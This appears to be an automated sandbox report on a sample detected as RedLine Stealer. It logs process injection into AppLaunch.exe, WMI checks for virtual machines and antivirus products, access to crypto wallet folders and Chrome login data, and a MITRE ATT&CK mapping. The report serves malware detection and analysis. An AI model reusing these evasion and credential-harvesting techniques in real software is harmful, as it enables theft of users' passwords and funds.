Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\XGN98Zq3JB.exe TID: 6852	Thread sleep count: 9863 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe TID: 7208	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe TID: 7452	Thread sleep count: 3534 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\XGN98Zq3JB.exe	Window / User API: threadDelayed 9863	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Window / User API: threadDelayed 9431	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Window / User API: threadDelayed 3534	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\fl.exe

API coverage: 2.3 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: AppLaunch.exe, 00000002.00000002.627044175.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000003.562338574.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllj
Source: AppLaunch.exe, 00000002.00000002.710568745.000000000B980000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:E^

Source: C:\Users\user\AppData\Local\Temp\fl.exe

Code function: 13_2_004014E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

13_2_004014E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0040119B SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,exit,		13_2_0040119B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 13_2_0041F67C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		13_2_0041F67C

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\XGN98Zq3JB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 390000			Jump to behavior
Source: C:\Users\user\Desktop\XGN98Zq3JB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 462008			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\XGN98Zq3JB.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 390000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\XGN98Zq3JB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\fl.exe

Code function: 13_2_0041F5D0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

13_2_0041F5D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.2.AppLaunch.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.XGN98Zq3JB.exe.4b8da0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.XGN98Zq3JB.exe.4b8da0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.XGN98Zq3JB.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.XGN98Zq3JB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.481770993.00000000004B8000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.475229939.00000000001C2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.623914093.0000000000392000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XGN98Zq3JB.exe PID: 6848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 208228, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: AppLaunch.exe, 00000002.00000002.637385027.000000000691B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: m2C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: AppLaunch.exe, 00000002.00000002.637385027.000000000691B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: AppLaunch.exe, 00000002.00000002.637385027.000000000691B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: AppLaunch.exe, 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: AppLaunch.exe, 00000002.00000002.637385027.000000000691B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: m6C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 208228, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.2.AppLaunch.exe.390000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.XGN98Zq3JB.exe.4b8da0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.XGN98Zq3JB.exe.4b8da0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.XGN98Zq3JB.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.XGN98Zq3JB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.481770993.00000000004B8000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.475229939.00000000001C2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.623914093.0000000000392000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XGN98Zq3JB.exe PID: 6848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 208228, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	Path Interception	211 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	31 Obfuscated Files or Information	Security Account Manager	124 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Masquerading	NTDS	321 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	231 Virtualization/Sandbox Evasion	LSA Secrets	11 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	211 Process Injection	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
XGN98Zq3JB.exe	37%	Metadefender		Browse
XGN98Zq3JB.exe	73%	ReversingLabs	Win32.Spyware.RedLine

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\fl.exe	60%	ReversingLabs	Win32.Trojan.Convagent

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.3.XGN98Zq3JB.exe.1c0000.0.unpack	100%	Avira	HEUR/AGEN.1234971		Download File
2.2.AppLaunch.exe.390000.0.unpack	100%	Avira	HEUR/AGEN.1234971		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
